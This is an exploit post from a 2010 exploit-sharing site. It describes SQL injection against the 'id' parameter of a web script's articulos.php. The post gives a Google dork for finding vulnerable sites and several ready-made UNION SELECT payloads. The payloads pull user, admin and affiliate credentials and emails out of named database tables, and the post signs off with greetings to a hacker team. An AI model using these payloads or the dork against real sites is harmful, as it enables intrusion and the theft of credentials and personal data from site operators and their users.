Home / os / win7

Script (articulos.php) SQL Injection Vulnerability

Posted on 20 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Script (articulos.php) SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================
Script (articulos.php) SQL Injection Vulnerability
==================================================


# Date: [20-6-2010]
# Author: [CaSpErHaK]
# Tested on: [linux]

// =============================founded By CaSpErHaK==============================
//
Hello World
//*****************
//? ................................................
// #. Dork in Google :- inurl:&quot;articulos.php?id=&quot;? .
//? ................................................
//
// # Exploit:-?
//   http://[site]/Path/articulos.php?id={SQLi}
//  ***********************************************************
// # Poc :-
//
//?? &gt;&gt;&gt;&gt;&gt;&gt;??? from table #usuarios#
//
// union+select+1,2,3,concat(usuario,0x3a,contrasena),5,6,7,8,9+from+usuarios--
// (0R)
// union+select+1,2,3,4,5,concat(username,0x3a,password),7+from+usuarios--
// (0R)
// union+select+1,2,3,concat(usuario,0x3a,password),5,6,7,8,9+from+usuarios--
// (0R)
//??? UNION SELECT 1,2,concat(idusu,0x3a,Nombre_u,0x3a,Clave_u),4,+from+usuarios--
/ /********************************************************************************
//?? &gt;&gt;&gt;&gt;&gt;&gt;  from table #admin#
//
//  union+select+1,2,3,4,5,6,concat(uname,0x3a,passwd),8,9+from+admin--
/ /********************************************************************************
//  &gt;&gt;&gt;&gt;&gt;&gt;  from table #afiliados#
//
//   union+select+1,concat

(idafiliados,0x3a,nombre,0x3a,email,0x3a,password),3,4+from+afiliados--
/ /********************************************************************************
//
//
//  Greetz  To All  Muslim  Hackerz &amp; H4ckforu? Team .........
//
//=======CaSpErHaK[at]Gmail.com========
//=======Casper_x28[at]HotMail.CoM=====



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-20]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :